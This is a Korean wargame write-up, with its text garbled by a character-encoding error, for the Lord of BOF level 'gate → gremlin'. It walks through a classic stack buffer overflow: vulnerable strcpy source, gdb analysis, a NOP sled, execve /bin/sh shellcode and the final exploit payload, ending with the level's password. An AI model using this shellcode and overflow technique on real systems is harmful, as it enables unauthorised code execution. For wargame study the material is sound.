wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of BOF

1. gate → gremlin

Kortsec1 2018. 7. 23. 02:40

id : gate

pw : gate ๋กœ๊ทธ์ธ ํ•ด์ค๋‹ˆ๋‹ค.



gremlin.c ์†Œ์Šค์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

[gate@localhost gate]$ cat gremlin.c
/*
	The Lord of the BOF : The Fellowship of the BOF 
	- gremlin
	- simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}



buffer์˜ ํฌ๊ธฐ๊ฐ€ 256byte์ด๋‹ˆ, ์‰˜์ฝ”๋“œ๋ฅผ ๋„ฃ๊ธฐ์— ์ถฉ๋ถ„ํ• ๊ฒƒ ๊ฐ™๋„ค์š”..ใ…Ž

์‹คํ–‰๋ ๋•Œ ๋”๋ฏธ(dummy; ์“ฐ๋ ˆ๊ธฐ)๊ฐ’์ด ์ถ”๊ฐ€๋˜๋Š”์ง€ gdb๋ฅผ ํ†ตํ•ด ์•Œ์•„๋ด…์‹œ๋‹ค.


[gate@localhost gate]$ gdb -q gremlin (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,0x100 0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1 0x804843d <main+13>: jg 0x8048456 <main+38> 0x804843f <main+15>: push 0x80484e0 0x8048444 <main+20>: call 0x8048350 <printf> 0x8048449 <main+25>: add %esp,4 0x804844c <main+28>: push 0 0x804844e <main+30>: call 0x8048360 <exit> 0x8048453 <main+35>: add %esp,4 0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] 0x8048459 <main+41>: add %eax,4 0x804845c <main+44>: mov %edx,DWORD PTR [%eax] 0x804845e <main+46>: push %edx 0x804845f <main+47>: lea %eax,[%ebp-256] 0x8048465 <main+53>: push %eax 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add %esp,8 0x804846e <main+62>: lea %eax,[%ebp-256] 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push 0x80484ec 0x804847a <main+74>: call 0x8048350 <printf> 0x804847f <main+79>: add %esp,8 0x8048482 <main+82>: leave 0x8048483 <main+83>: ret 0x8048484 <main+84>: nop 0x8048485 <main+85>: nop 0x8048486 <main+86>: nop 0x8048487 <main+87>: nop 0x8048488 <main+88>: nop 0x8048489 <main+89>: nop 0x804848a <main+90>: nop 0x804848b <main+91>: nop 0x804848c <main+92>: nop 0x804848d <main+93>: nop 0x804848e <main+94>: nop 0x804848f <main+95>: nop End of assembler dump.


<main+3>์„ ๋ณด๋ฉด ๋ณ„๋‹ค๋ฅธ ๋”๋ฏธ๊ฐ’ ์—†์ด 0x100(256)byte ๋งŒํผ์„ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค.


๊ทธ๋ ‡๋‹ค๋ฉด ์Šคํ…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Œ“์ผ ๊ฒƒ ์ž…๋‹ˆ๋‹ค.



buffer(256byte)     ||     sfp(4byte)     ||     ret(4byte)




sfp์™€ ret๋Š” ๊ฐ๊ฐ ์Šคํ…ํ”„๋ ˆ์ž„ํฌ์ธํ„ฐstack frame pointer์™€  ๋ฆฌํ„ด์–ด๋“œ๋ ˆ์Šคreturn address์ž…๋‹ˆ๋‹ค.

sfp๋Š” ๋‚˜์ค‘์— ์ž์„ธํžˆ ์•Œ์•„๋ณด๋„๋ก ํ•˜๊ณ , ์ง€๊ธˆ ์šฐ๋ฆฌ๊ฐ€ ์•Œ์•„๋ณผ ๊ฒƒ์€ ret์ž…๋‹ˆ๋‹ค.



ret์—๋Š”ํ•ด๋‹น ํ•จ์ˆ˜๊ฐ€ ๋๋‚œ ๋‹ค์Œ ์‹คํ–‰ํ•  ์ฝ”๋“œ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด์žˆ์Šต๋‹ˆ๋‹ค.

์ฆ‰, ์ด๊ณณ์„ ์›ํ•˜๋Š” ์ฃผ์†Œ๋กœ ๋ฐ”๊พธ๋ฉด ํ•ด๋‹น ์ฃผ์†Œ์— ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ ์ž…๋‹ˆ๋‹ค!!






์ž ๊ทธ๋ ‡๋‹ค๋ฉด ์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅํ•  ๊ณต๊ฒฉ ์ฝ”๋“œ๋Š” ์–ด๋–ป๊ฒŒ ๊ตฌ์„ฑ๋˜์–ด์•ผ ํ• ๊นŒ์š”?


๊ณต๊ฒฉ ์ฝ”๋“œ

 buffer(256byte)

 sfp(4byte)

 ret(4byte)

 \x90  X  200(200byte)

 ์‰˜ ์ฝ”๋“œ(24byte)

A   X   32(32byte)

 BBBB(4byte)

\x90์ด ๋“ค์–ด์žˆ๋Š” ์ฃผ์†Œ 


ํ•˜๋‚˜ํ•˜๋‚˜ ์•Œ์•„๋ด…์‹œ๋‹ค.




\x90์€ nop ์ด๋ผ๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ์–ด ์ธ๋ฐ์š”, ์•„๋ฌด๊ฒƒ๋„ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ฆ‰, nop์„ ์—ฌ๋Ÿฌ๊ฐœ ๋†“์Œ ์œผ๋กœ์„œ, ์ •ํ™•ํ•˜๊ฒŒ ์‰˜์ฝ”๋“œ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ผ ํ•„์š” ์—†์ด ์ˆ˜๋งŽ์€ nop์ค‘ ์•„๋ฌด ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๋ฉด

์ญ‰ ํŒจ์Šคํ•˜๋‹ค(์ผ๋ช… nop slide)  ์‰˜์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.



์‰˜ ์ฝ”๋“œ๋Š” 24byte ์งœ๋ฆฌ๋ฅผ ์ด์šฉ ํ•ฉ์‹œ๋‹ค.(๊ตฌ๊ธ€๋ง ํ•˜๋ฉด ๋‚˜์˜ต๋‹ˆ๋‹ค^.^)

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"



์ž, ์ด์ œ ๋‚จ์€ ๊ฒƒ์€ ret๋ฅผ ๋ฎ์„๋•Œ ๋„ฃ์„ \x90(nop)์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๋Š” ๊ฑด๋ฐ์š”. gdb๋ฅผ ์ด์šฉํ•ด์„œ ์•Œ์•„๋ด…์‹œ๋‹ค.

gremlin์—๋Š” ๋””๋ฒ„๊น… ๊ถŒํ•œ์ด ์—†์œผ๋‹ˆ, 

testํŒŒ์ผ์„ ๋ณต์‚ฌํ•ด์„œ ๋””๋ฒ„๊น… ํ•ด ๋ด…์‹œ๋‹ค.




<gremlin ๋ณต์‚ฌ>

[gate@localhost gate]$ ls
gremlin  gremlin.c
[gate@localhost gate]$ cp gremlin test
[gate@localhost gate]$ ls
gremlin  gremlin.c  test




<gdb ๋””๋ฒ„๊น…>

[gate@localhost gate]$ gdb -q test (gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,0x100 0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1 0x804843d <main+13>: jg 0x8048456 <main+38> 0x804843f <main+15>: push 0x80484e0 0x8048444 <main+20>: call 0x8048350 <printf> 0x8048449 <main+25>: add %esp,4 0x804844c <main+28>: push 0 0x804844e <main+30>: call 0x8048360 <exit> 0x8048453 <main+35>: add %esp,4 0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] 0x8048459 <main+41>: add %eax,4 0x804845c <main+44>: mov %edx,DWORD PTR [%eax] 0x804845e <main+46>: push %edx 0x804845f <main+47>: lea %eax,[%ebp-256] 0x8048465 <main+53>: push %eax 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add %esp,8 0x804846e <main+62>: lea %eax,[%ebp-256] 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push 0x80484ec 0x804847a <main+74>: call 0x8048350 <printf> 0x804847f <main+79>: add %esp,8 0x8048482 <main+82>: leave 0x8048483 <main+83>: ret 0x8048484 <main+84>: nop 0x8048485 <main+85>: nop 0x8048486 <main+86>: nop 0x8048487 <main+87>: nop 0x8048488 <main+88>: nop 0x8048489 <main+89>: nop 0x804848a <main+90>: nop 0x804848b <main+91>: nop 0x804848c <main+92>: nop 0x804848d <main+93>: nop 0x804848e <main+94>: nop 0x804848f <main+95>: nop End of assembler dump.

gdb -q test   =>   gdb์˜ ๋ผ์ด์„ผ์Šค ์„ค๋ช…์„ ์ƒ๋žตํ•ด์ฃผ๋Š” ๋ช…๋ น์–ด ์ž…๋‹ˆ๋‹ค.(-q

set disassembly-flavor intel =>   ๊ฐ€๋…์„ฑ์ด ๋” ์ข‹์€ intel ๋ฌธ๋ฒ• ํ˜•์‹์œผ๋กœ ์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋ฅผ ๋ณด๊ฒŒ ํ•˜๋Š” ๋ช…๋ น์–ด ์ž…๋‹ˆ๋‹ค.

disas main   =>   mainํ•จ์ˆ˜์˜ ์–ด์…ˆ๋ธ”๋ฆฌ์ฝ”๋“œ๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.



<main+54>๋ถ€๋ถ„์—์„œ buffer์— argv[1]์ธ์ž๊ฐ’์ด ์ „๋‹ฌ๋˜๋ฏ€๋กœ, 
<main+59>์—๋‹ค breakpoint๋ฅผ ๊ฑธ๊ณ  buffer์† \x90(nop)์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ด…์‹œ๋‹ค.


(gdb) b * main+59
Breakpoint 1 at 0x804846b
(gdb) r `python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*32 + "BBBB" + "CCCC"'` Starting program: /home/gate/test `python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*32 + "BBBB" + "CCCC"'` Breakpoint 1, 0x804846b in main () (gdb) x/100x $ebp-256 0xbffff948: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff958: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff968: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff978: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff988: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff998: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9a8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9b8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9c8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9d8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9e8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9f8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa08: 0x90909090 0x90909090 0x6850c031 0x68732f2f 0xbffffa18: 0x69622f68 0x50e3896e 0x99e18953 0x80cd0bb0 0xbffffa28: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa38: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa48: 0x42424242 0x43434343 0x00000000 0xbffffa94 0xbffffa58: 0xbffffaa0 0x40013868 0x00000002 0x08048380 0xbffffa68: 0x00000000 0x080483a1 0x08048430 0x00000002 0xbffffa78: 0xbffffa94 0x080482e0 0x080484bc 0x4000ae60 0xbffffa88: 0xbffffa8c 0x40013e90 0x00000002 0xbffffb8b 0xbffffa98: 0xbffffb9b 0x00000000 0xbffffca4 0xbffffcc6 0xbffffaa8: 0xbffffcd0 0xbffffcde 0xbffffcfd 0xbffffd0a 0xbffffab8: 0xbffffd22 0xbffffd3c 0xbffffd47 0xbffffd55 0xbffffac8: 0xbffffd95 0xbffffda5 0xbffffdba 0xbffffdca

๋ฏธ๋ฆฌ ๊ตฌ์„ฑํ•ด๋‘์—ˆ๋˜ ๊ณต๊ฒฉ ์ฝ”๋“œ๋Œ€๋กœ ๋„ฃ์–ด๋ณด์•˜์Šต๋‹ˆ๋‹ค. \x90(nop)์ด ์žˆ๋Š” ๊ณณ์˜ ์ฃผ์†Œ๋“ค ์ค‘ ํ•˜๋‚˜ ๊ณจ๋ผ๋ด…์‹œ๋‹ค. ex) 0xbffff978






ret์— ๋“ค์–ด๊ฐˆ ๊ฐ’๊นŒ์ง€ ๊ตฌํ–ˆ์œผ๋‹ˆ, ์ด์ œ python์œผ๋กœ ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์งœ๋ด…์‹œ๋‹ค.

`python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*32 + "BBBB" + "\x78\xf9\xff\xbf"'`


โ€ป ๋งˆ์ง€๋ง‰์—, ์ฃผ์†Œ๊ฐ’์„ ๋„ฃ์–ด์ค„๋•Œ ๋ฆฌํ‹€ ์—”๋””์•ˆlittle endian ๋ฐฉ์‹์œผ๋กœ, ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ด๊ณณ ์—์„œ ๊ณต๋ถ€ํ•˜์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค~^^



[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*200 + "\x31\xc0\x50
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b
\xcd\x80" + "A"*32 + "BBBB" + "\x78\xf9\xff\xbf"'` 1๓ฟฟh//shh/binโ“แ™ฐ อ€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBx bash$ id uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate) bash$ my-pass euid = 501 hello bof world

bash$

์„ฑ๊ณต์ ์œผ๋กœ ์‰˜์ด ๋”ฐ์ง€๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!!

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of BOF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

4. goblin โ†’ orc  (0) 2018.07.26
3. cobolt โ†’ goblin  (0) 2018.07.25
2. gremlin โ†’ cobolt  (1) 2018.07.23
LoB ์›์ •๋Œ€ start  (0) 2018.07.23